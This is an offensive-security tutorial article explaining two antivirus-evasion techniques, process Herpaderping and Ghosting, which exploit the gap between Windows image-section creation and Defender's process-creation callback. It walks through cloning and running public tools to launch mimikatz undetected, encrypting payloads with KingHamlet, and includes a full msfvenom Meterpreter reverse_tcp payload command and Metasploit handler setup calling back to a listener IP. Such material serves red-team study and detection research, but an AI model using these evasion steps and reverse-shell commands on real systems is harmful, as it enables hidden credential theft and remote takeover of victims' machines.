Herpaderping and Ghosting. Two new ways to hide processes from antiviruses

The primary objective of virus writers (as well as pentesters and Red Team members) is to hide their payloads from antiviruses and avoid their detection. Various techniques are used for this purpose. This paper discusses two of them: Herpaderping and Ghosting.

For simplicity, I will use Microsoft Defender and Mimikatz in my tests.

warning

This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.

Process specifics

How does an antivirus know that a process has been launched in the system? Microsoft allows developers of antivirus solutions to receive events that are of interest to them via APIs (e.g. PsSetCreateProcessNotifyRoutineEx). When a process is created, Microsoft Defender (and all other antiviruses) are immediately notified of this by a respective callback. After receiving it, the AV program can inspect the executable file and decide whether the new process can be allowed or not (in this article, the static analysis stage is omitted).

The point is that the CreateProcessNotify notification is not about process creation. The callback is sent when the first thread is created inside this process. In other words, there is a gap between the moment the process is created and the moment the antivirus becomes aware of it. This gap is creatively used by attackers.

Important information

The executable file is not a process. It can be associated with multiple processes (you can easily check in Task Manager how many processes are associated, for instance, with RuntimeBroker.exe or svchost.exe). Each process is necessarily associated with some PE file (.exe, .dll, etc.). Processes provide resources required to execute the program.

Any process contains a virtual address space, executable code, open handles to system objects, security context, unique process identifier, environment variables, priority class, minimum and maximum working set sizes, and at least one execution thread.

A thread is the basic unit used by the operating system to allocate processor time. A thread can execute any part of a process code, including parts that are currently executed by another thread.

Process creation

Let’s examine the process creation procedure step by step.

  1. First, you get a handle to the executable file you are about to run (e.g. hFile = CreateFile("C:\Windows\System32\svchost.exe"));
  2. Then you create the image section (e.g, hSection = NtCreateSection(hFile, SEC_IMAGE)). This is a special section used to map a file (or part of a file) into memory. The image section corresponds to PE files and can only be created in them;
  3. You create a process in the image section (e.g. hProcess = NtCreateProcessEx(hSection));
  4. You assign arguments and environment variables (e.g. CreateEnvironmentBlock/NtWriteVirtualMemory); and 
  5. You create a thread to execute the process (e.g. NtCreateThreadEx).

Important: processes are launched from executable files, but information contained in an executable file may change in comparison with the information stored in the image section (since it is cached by memory manager).

Scanning a process for malware

As said above, antiviruses can receive notifications about process and thread creation events (PsSetCreateProcessNotifyRoutineEx and PsSetCreateThreadNotifyRoutineEx).

This is how it looks:

typedef struct _PS_CREATE_NOTIFY_INFO {
SIZE_T Size;
union {
ULONG Flags;
struct {
ULONG FileOpenNameAvailable : 1;
ULONG IsSubsystemProcess : 1;
ULONG Reserved : 30;
};
};
HANDLE ParentProcessId;
CLIENT_ID CreatingThreadId;
struct _FILE_OBJECT *FileObject;
PCUNICODE_STRING ImageFileName;
PCUNICODE_STRING CommandLine;
NTSTATUS CreationStatus;
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;

Interestingly, FILE_OBJECT corresponds to the NtCreateSection handle. But if you look at the NtCreateProcess API, you’ll also see a section handle there, not a file handle.

NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateProcess(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ParentProcess,
_In_ BOOLEAN InheritObjectTable,
_In_opt_ HANDLE SectionHandle,
_In_opt_ HANDLE DebugPort,
_In_opt_ HANDLE ExceptionPort
);

Differences between two techniques

For simplicity, I summarized the differences between techniques described in this article in a table.

Technique Actions
Hollowing map → modify section → execute
Doppelgänging transact → write → map → rollback → execute
Herpaderping write → map → modify → execute → close
Ghosting delete pending → write → map → close(delete) → execute

Herpaderping

To test this technique, I need mimikatz.exe, a target executable file (e.g. hack.exe), and any file that doesn’t raise suspicions in antivirus programs. Let’s examine the Herpaderping technique step by step.

  1. Write. You create and open hack.exe, copy mimikatz.exe into it, and don’t close the handle;
  2. Map. You create an image section and map the contents into memory;
  3. Modify. You create a process with the handle to the previously created section. After that, you change the contents of the hack.exe file by copying something legitimate there. Remember an important point mentioned in the section describing the process creation procedure? Here it is: from now on, the information stored in memory and the information stored in the file are different;
  4. Execute. You create the initial thread. Only now the process creation callback is invoked and sent to the antivirus. The difference between the file contents and the memory contents drives Microsoft Defender crazy: it cannot understand whether this process can be allowed to run or not; and 
  5. Close. You close the open handle.

Practical Herpaderping

All my actions will be monitored by up-to-date Microsoft Defender. Of course, if you drop Mimikatz or an MSFvenom payload onto a disk ‘as is’, it will be immediately detected by the antivirus. I also have to bypass static analysis, but this stage is beyond the scope of this article.

Defender
Defender

I copy the project from GitHub and assemble it.

git clone https://github.com/jxy-s/herpaderping.git
cd .\herpaderping\
git submodule update --init -recursive
Copying the project
Copying the project

Then I execute the command

ProcessHerpaderping.exe mimikatz.exe hack.exe lsass.exe
Executing ProcessHerpaderping.exe
Executing ProcessHerpaderping.exe

Success! No reaction from Microsoft Defender. Let’s review the information provided by ProcessHacker.

ProcessHacker
ProcessHacker

The point is that the executed file is not mimikatz.exe, but hack.exe. And my hack.exe app has a certificate issued by Microsoft.

My app has a certificate
My app has a certificate

Hack.exe is stored on my Desktop without raising any alarms.

Desktop
Desktop

This trick works not only with Mimikatz: to forward a Meterpreter session to myself, I generate a payload and start a listener.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.197 LPORT=9001 -f exe > met.exe
Payload generation
Payload generation
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.197
set LPORT 9001
exploit

I perform the above operations and check whether I’ve got a session.

Executing met.exe
Executing met.exe
The much-desired session
The much-desired session

It’s working!

Ghosting

To test this technique, I am going to use the same source file mimikatz.exe and the same target executable file hack.exe (although you can specify anything you want for this purpose). Similar to the previous example, let’s examine the technology step by step.

  1. Delete pending. Delete Pending is a special state of a file: it hasn’t been deleted yet because the handle to it remains open. Once the handle closes, the file will be deleted. So, you create a file and put it into a delete-pending state using NtSetInformationFile (FileDispositionInformation). An attempt to use FILE_DELETE_ON_CLOSE won’t delete the file;
  2. Write. Copy your original payload executable to the newly-created file. The content is not saved because the file is in the delete-pending state. Also, this state blocks external attempts to open the file;
  3. Map. You create an image section and map the contents into memory;
  4. Close(delete). You close the delete-pending handle, and the file is deleted.
  5. Execute. You create a process using the handle to the previously created image section. Then you create the initial thread. At this point, a process creation callback is invoked and sent to the antivirus, but the file has already been deleted. An attempt to open it will fail with a STATUS_FILE_DELETED error. If you try to open the file before it’s deleted, you’ll get the same error.

Practical Ghosting

I copy the project and assemble it. Alternatively, you can download the ready-made package from GitHub.

Executing the command:

proc_ghost64.exe mimikatz.exe hack.exe
Executing proc_ghost64.exe
Executing proc_ghost64.exe

As you can see, everything has worked smoothly again, and Microsoft Defender didn’t react in any way. Now let’s examine the information provided by ProcessHacker.

ProcessHacker
ProcessHacker

There is also another tool implementing this technique: KingHamlet. In addition, it can encrypt the original payload:

KingHamlet.exe mimikatz.exe key
KingHamlet
KingHamlet

The process ghosting technique is applied at the next step:

KingHamlet.exe mimikatz.exe.khe key hack.exe
KingHamlet
KingHamlet

KingHamlet has also done its job successfully. ProcessHacker displays the following information:

ProcessHacker after the use of KingHamlet
ProcessHacker after the use of KingHamlet

Conclusions

Microsoft reacts to reports about the above-described techniques in a pretty contradictory way. At some point, the company claims that it has released a patch fixing the problem; then the Microsoft Security Response Center (MSRC) states that the problem doesn’t meet its security update criteria… But as you can see, so far these mechanisms work smoothly; the key thing for an attacker is to bypass static analysis.


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>